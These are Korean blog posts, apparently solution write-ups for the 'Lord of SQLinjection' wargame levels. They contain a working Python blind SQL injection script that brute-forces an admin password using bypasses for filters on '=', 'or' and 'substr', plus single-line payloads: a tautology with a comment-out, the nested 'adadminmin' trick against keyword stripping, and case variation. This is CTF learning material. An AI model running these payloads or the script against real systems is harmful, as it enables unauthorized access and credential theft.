일단 문제를 계속 풀다보니 addslashes 가 있으니, 자동화코드를 이용하여 admin에 맞는 pw를 blind injection을 이용해서 찾아야 한다.

대신 주어진 필터링

1) pw에 . _  등 필터링

2) or and substr 필터링

3) 핵심 = 필터링

나머지는 우회해봤지만 핵심인 (=)에 대해서 우회 기법을 찾아야 한다.

or ||,  %7c%7c
and &&, %26%26
substr substring, left, right, mid, lpad, rpad
= like, 부등호 이용

내가 찾은 우회 기법이다. 

payload는

1) 비밀번호 길이 찾기

pw=' ' || id = admin && length(pw)=?# '  (기본 payload)

pw=' ' || id like 'admin' && length(pw) like ? # ' (필터링 우회 적용한 payload)

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' || id like 'admin' && length(pw) like {} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

실행화면

2) blind injection으로 pw 문자열 모두 찾기

pw=' ' || id = admin && ascii(substr(pw,?,1))= ? # '  (기본 payload)

pw=' ' || id like admin && ascii(substring(pw,?,1)) like ? # ' (필터링 우회 적용한 payload)

#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            value = " ' || id like 'admin' && ascii(substring(pw,{},1)) like {} #".format(i,j)           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

 

전체코드

# LOS
# STEP 11 golem

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' || id like 'admin' && length(pw) like {} #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num



#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            #value = " ' || id = 'admin' && ord(substr(pw,{},1))={} #".format(i,j)          #attack fail
            value = " ' || id like 'admin' && ascii(substring(pw,{},1)) like {} #".format(i,j)           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main

pw_real(pw_len())

실행화면

 

 

 

solve!!!!!!!!!!!!!!

이 문제에서 주의깊게 봐야할 부분은 두가지

pw에는 언더바와 같은 특정 특수문자에 대한 필터링 존재. 

그리고 이전 문제들과 다르게 and 1=0 처럼 false 를 만드는 구문이 존재함. 이 부분을 무력화 해야 한다! 우리는 pw를 모르니까

또, id = admin 이 잘 입력되어야 풀리는 문제이다. id=admin은 쓰되, 뒤에 오는 1=0은 무력화해야 한다.

payload는 다음과 같다.

pw=' test' or id = 'admin'# '

pw를 모르니까 or 로 뒤에를 true로 만들어주었다. id = admin은 존재하므로, or과 연결해주면 pw를 몰라도 전체 구문이 true가 되어 문제를 풀 수 있다.

단, #는 url 상 예약문자이므로, 인코딩을 해주어야 한다. (%23)

#로 인해 뒷 부분 and 1=0 이 무력화된다.

 

 

solve!!!!!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step13. BUGBEAR 풀이  (0) 2023.06.13
[LOS] step12. darkknight 풀이  (1) 2023.06.13
[LOS] step.9 VAMPIRE 풀이  (0) 2023.06.13
[LOS] step.8 troll 풀이  (0) 2023.06.13
[LOS] step.7 orge 풀이  (0) 2023.06.13

이번 역시 필터링 부분만 보면 쉽게 풀린다

id에 입력값에 대한 필터링이 3가지 있다.

1) 싱글쿼터

2) 대문자 -> 소문자 자동변환

3) admin 입력시 빈칸으로 치환

이를 모두 우회하면 된다.

1번은 뭐 싱글쿼터 안 쓰고 id = admin 하면 된다.

2번은 대문자를 소문자로 자동변환하기 때문에 입력값에 대문자로 넣어야 admin으로 입력될 것

3번은 admin요러케 넣으면 빈칸이 되어버리니 이 점을 우회하는 게 핵심인 듯하다

 

진단을 하다보면 우회기법들이 다양하게 인터넷이 올라와있기에 나도 실무를 하다가 알게 된 우회기법이다.

3번과 같이 "admin" -> "(빈칸)" 이렇게 변경되면 admin 사이에 admin을 넣어주는 것이다.

payload : id=adadminmin

ad(admin)min 이대로 입력하게 되면 중간에 있는 (admin)은 빈칸이 되어 버리고 남은 ad + min  이 이어져 admin필터링을 우회해 id = admin으로 우회가 성공한다.

 

solve!!!!!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step12. darkknight 풀이  (1) 2023.06.13
[LOS] step10. skeleton 풀이  (0) 2023.06.13
[LOS] step.8 troll 풀이  (0) 2023.06.13
[LOS] step.7 orge 풀이  (0) 2023.06.13
[LOS] step.6 darkelf 풀이  (0) 2023.06.12

매우매우 간단했던 문제

일단 필터링되는 부분을 보면 id값에 들어가는 것에 대한 필터링이 존재한다.

id 입력값에 싱글쿼터나  admin이 들어가면 필터링 되는 것이다.

이때 소문자로 적혀있는 admin 만 필터링되는 것 같아서

Admin 으로 넣어봤더니 성공

ADMIN, AdMin, adMin, admiN 등 모두 가능한 걸 보니 "admin" 이 모양만 아니면 되는 것 같다.

 

 

solve!!!!!!!!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step10. skeleton 풀이  (0) 2023.06.13
[LOS] step.9 VAMPIRE 풀이  (0) 2023.06.13
[LOS] step.7 orge 풀이  (0) 2023.06.13
[LOS] step.6 darkelf 풀이  (0) 2023.06.12
[LOS] step.5 wolfman풀이  (0) 2023.06.12

+ Recent posts